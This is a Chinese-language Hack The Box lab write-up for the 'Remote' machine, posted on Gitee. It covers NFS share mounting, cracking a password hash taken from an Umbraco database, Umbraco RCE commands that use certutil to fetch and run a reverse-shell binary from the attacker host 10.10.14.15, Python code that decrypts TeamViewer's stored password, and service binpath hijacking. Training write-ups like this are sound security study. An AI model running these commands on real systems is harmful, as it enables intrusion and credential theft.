1 Star 1 Fork 2

wuerror / hackthebox_oscp

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
remote.md 4.79 KB
一键复制 编辑 原始数据 按行查看 历史
wuerror 提交于 2022-06-17 15:22 . update pics route

信息收集

端口扫描

nmap -sV -A -Pn 10.10.10.180
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
445/tcp  open  microsoft-ds?
2049/tcp open  mountd        1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 3m47s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-01-02T05:57:05
|_  start_date: N/A

21端口ftp匿名访问,但登进去没什么东西,也不可写

80web端口,扫目录发现是umbraco cms

remote1

根据111端口rpcbind信息,在2049端口有一个nfs服务,查看挂载信息

showmount -e 10.10.10.180

remote1

所有人可访问,那就挂载看一下

mount -t nfs 10.10.10.180:/site_backups /mnt

remote1

但只有读权限,在web.config中确认umbraco版本为7.12.4,exploit-db中发现该版本有authenticated RCE,我们现在就差一个账号了

remote1

找了一圈都没找到,无奈翻wp。发现app_data目录下的umbraco.sdf是数据库文件,strings可以发现有账号和密码hash.sdf文件确实是我的知识盲区了。

remote1

echo b8be16afba8c314ad33d812f22a04991b90e2aaa>adminhash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt adminhash.txt
john --show --format=Raw-SHA1 adminhash.txt

得到密码baconandcheese

成功登录admin@htb.local账号

漏洞利用

python3 49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c systeminfo

remote1

成功执行,得到Windows系统为x64

remote1

python3 49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c cmd.exe -a "/c certutil -urlcache -split -f http://10.10.14.15:8000/remote.exe c:/Users/Public/re.exe"

下载反弹shell的exe文件到c:/users/public目录,这里因为没指定下载目录,找不到命令,卡了很久。

python3 49488.py -u admin@htb.local -p baconandcheese -i http://10.10.10.180 -c cmd.exe -a "/c c:/Users/Public/re.exe"

remote1

权限提升

1.通过检查监听在本地的网络连接发现了teamviewer,及其版本。(我只到了这步)后续操作跟随wp完成

where /R c:\ TeamViewer_Service.exe

c:\Program Files (x86)\TeamViewer\Version7\TeamViewer_Service.exe

msf提取teamviewer密码exp

在exp中找到version7对应注册表,进入powershell

cd HKLM:\software\wow6432node\teamviewer\version7
get-itemproperty -path .
(get-itemproperty -path .).SecurityPasswordAES

得到aes加密后的密码,仿照exp用python3实现解密

from Crypto.Cipher import AES

key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
iv = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
ciphertext = bytes([255, 155, 28, 115, 214, 107, 206, 49, 172, 65, 62, 174, 
                    19, 27, 70, 79, 88, 47, 108, 226, 209, 225, 243, 218, 
                    126, 141, 55, 107, 38, 57, 78, 91])

aes = AES.new(key, AES.MODE_CBC, IV=iv)
password = aes.decrypt(ciphertext).decode("utf-16").rstrip("\x00")

print(f"[+] Found password: {password}")

得到administrator密码,使用impacket-psexec登录

2.powerup检查发现有服务可控

修改binpath为反弹shell文件

sc config usosvc binpath="c:\windows\temp4.exe"  
sc stop usosvc
sc start usosvc
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/wuerror/hackthebox_oscp.git
git@gitee.com:wuerror/hackthebox_oscp.git
wuerror
hackthebox_oscp
hackthebox_oscp
master

搜索帮助